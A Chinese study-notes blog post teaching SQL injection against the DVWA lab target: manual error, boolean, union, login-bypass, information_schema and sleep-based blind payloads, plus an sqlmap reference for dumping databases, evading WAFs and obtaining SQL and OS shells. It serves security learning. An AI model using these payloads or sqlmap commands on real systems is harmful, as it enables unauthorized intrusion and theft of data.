《学习笔记113》——# SQL注入 # 基于OWASP的注入漏洞:手动注入、自动注入( SQLmap )

<以下示例基于 OWASP_boken_web 靶机的 dvwa 子页面中的 SQL Injection 功能进行>
在这里插入图片描述

SQL注入分类:

  • 以注入位置:get注入、post注入、cookie注入、搜索注入
  • 以参数类型:字符注入、数字注入
  • 以注入技术:错误注入、布尔注入、union注入、时间盲注、ASCII逐字编码

1. 手工注入

1.1 基于错误的注入

通过构造特殊的sql语句,根据得到的错误信息,确定sql注入点;通过数据库的报错信息,也可以探测到数据库的类型和其他有用的信息。例如:通过单引号字符可以获得sql数据库的类型

示例如下。

'

源代码:select * from table where id='''

1.2 基于布尔注入

闭合sql语句,构造or或者and逻辑语句,注释多余代码。

示例如下。

' or 1=1 -- '

源代码:select * from table where id='' or 1=1 -- ''
前面的单引号起到闭合作用,or 1=1 使得查询语句永远为真,–注释掉后面的语句,–后面必须加上空格。当查询语句永远为真时,返回表中的所有数据。

1' and 1=1 -- '

源代码:select * from table where id='' and 1=1 -- ''

以上查询,语句为假,故返回单个数据。

1.3 基于union注入

union是联合查询,可以联合其他的查询语句获取更多的信息,猜测数据表有多少数据列。

select * from table union select 1,2,3-- '

数字1,2,3…如果和table的列数相同时,不会报错;如果和table的列数不一致时,会报错The used SELECT statements have a different number of columns

1.4 绕过密码获取指定用户的信息

当需要输入账号和密码时,可以通过以下语句来查询指定的账号信息而无需输入密码。以下语句会将密码注释掉。

SELECT * FROM table WHERE NAME='admin' OR 1=1 -- and password='';

2. 自动注入

自动注入这里介绍SQLmap软件,该软件是最强大的SQL注入渗透的工具,基于python编写,跨平台命令行操作,集成了从渗透测试到漏洞利用整套渗透测试的功能。

SQLmap主要特点:

  • SQLmap支持五种技术:布尔注入、时间盲注、错误注入、union查询、stacked查询。
  • 支持探测DBMS数据库和 账号信息。
  • 支持枚举数据库、表、列并将数据导出。
  • 自动识别哈希口令,并使用字典进行爆破。
  • 支持waf、ids、ips安全设备探测和绕过,也可以通过代理实现隐藏注入
  • 支持提权操作,进一步实现与数据库和操作系统进行操作。

查看参数命令:

  • sqlmap -h/--help —— 查看参数
2.1 get 注入

当注入页面的参数以get方法提交给服务器,直接使用-u 参数。

  • sqlmap -u 'url' —— 寻找某个网页的注入点。
  • sql -u 'url' -f—— 探测系统和数据库信息。
  • sql -u 'url' -p 参数—— 指定具体参数。
  • sqlmap -u 'url' --users —— 查看数据库用户信息。
  • sqlmap -u 'url' --banner —— 查看banner信息。
  • sqlmap -u 'url' --dbs —— 查看有多少个数据库。
  • sqlmap -u 'url' --all —— 查看并下载所有数据库信息。
2.2 post注入

设置带cookie才能访问的注入页面,使用-r 参数,先通过burpsuite拦截到post请求内容,再复制到一个txt文档内,然后通过sqlmap调用

示例如下。在桌面新建了一个post文档,并保存了post请求的内容。
sqlmap -r /home/user/桌面/post

2.3 带参数注入

注入的时候指明用户名、密码、cookie等信息,可以用于get和post方法,如果注入的页面需要登录之后进行访问,则需要添加合法的cookie信息。

  • get方法:
    sqlmap -u 'url' --data='username=admin&password=admin'—— url请求头携带参数username=admin&password=admin进行get方法的注入。
  • post方法:
    sqlmap -u 'url' --cookie='xxx'—— 携带cookie进行post方法的注入。
2.4 混淆注入

混淆注入可以用于绕过或识别WAF、IDS、IPS。

  • --random-agent —— 使用随机的http agent字段进行绕过。
  • --mobile —— 模拟手机请求。
  • --smart —— 使用智能模式。
  • --level=3 —— 提高安全等级至3,当注入不进时,可以提高安全等级。
  • --risk=3 —— 提高危险等级至3,当注入不进时,可以提高危险等级。
  • --offline —— 减少和对方的交互。
  • --identify-waf —— 识别waf。
  • --skip-waf —— 绕过waf。
  • --proxy=‘代理的IP地址’ —— 实现隐藏注入。
2.5 数据获取
  • --users —— 查看所有管理员的账号。
  • --current-user —— 查看当前管理员的账号。
  • –privileges -U —— 账号名 查看指定账号的权限。
  • --dbs —— 查看所有的数据库。
  • –current-db —— 查看当前的数据库。
  • --tables -D 数据库名 —— 查看指定数据库名的数据表。
  • --columns -T 数据表名 -D 数据库名 —— 查看指定数据库、指定数据表的数据列。
  • --dump -C 数据列名 -T 数据表名 -D 数据库名 —— 查看指定数据库、指定数据表、指定数据列的字段。
  • --dump-all —— 下载所有的数据到本地。
2. 6 提权操作

文件读写

  • --file-read='路径名' —— 必须要有读取权限。
  • --file-write='文件名' —— 必须要有写入权限。

和数据库交互

  • --sql-shell —— 可以获得靶机的数据库shell,之后直接使用数据库操作语言sql即可。

与操作系统交互

  • --os-shell—— 提供shell操作,需要root权限。
  • --os-cmd=‘cmd语句’—— 指定cmd语句进行注入。

3. information_schema数据库

imformation_schema数据库是mysql自带的,提供了访问数据库元数据的方式,元数据包括数据库名、表名、列数据类型、访问权限和字符集等。

3.1 元库介绍
  • schemata表:提供了当前mysql中所有数据库的信息,show databases的结果来自这张表。

  • tables表:详细描述了某一个表属于哪个schema,表类型、引擎等。show tables的结果来自这张表。

  • columns表:提供了表中列的信息,详细描述了某一个表中所有列以及列的信息。show column_name from table_name的结果来自这张表。

  • staticstics表:提供了关于表的索引信息。show index from table_name的结果来自这张表。

  • user_privileges表:用户权限,用户的权限信息。

  • schema_privileges表:数据库权限信息。

  • table_privileges表:表的权限。

  • columns_privileges表:列权限。

  • character_sets表:提供了mysql可用的字符集信息。show character set结果来自这张表。

3.2 结合元库进行攻击

获取数据库中的所有表名。

' union select 1,table_name from IMFORMATION_SCHEMA.tables -- '

获取数据库版本和数据库名称。

' union select version(),database() from imformation_schema.tables -- '

获取某个数据表的列名称。

' union select 1,column_name from IMFORMATION_SCHEMA.columns where table_name='table_name'  -- '

4. 盲注

盲注介绍:

数据库对错误信息做了安全设置,无法通过错误注入和布尔注入来确定有无注入点,此时就可以通过sleep语句来探测注入点。

<从盲注开始将使用 OWASP_boken_web 的 DVWA 子页面的 SQL Injection(blind) 功能>
在这里插入图片描述

4.1 sleep语句

使用sleep语句来探测注入点。

示例如下。

1' and sleep(5) -- '

观察网页的响应时间,如果相应时间是我们设置的时长(这里为5s),即使没有明显的报错信息,也能说明这里存在注入点。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Merrill He

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值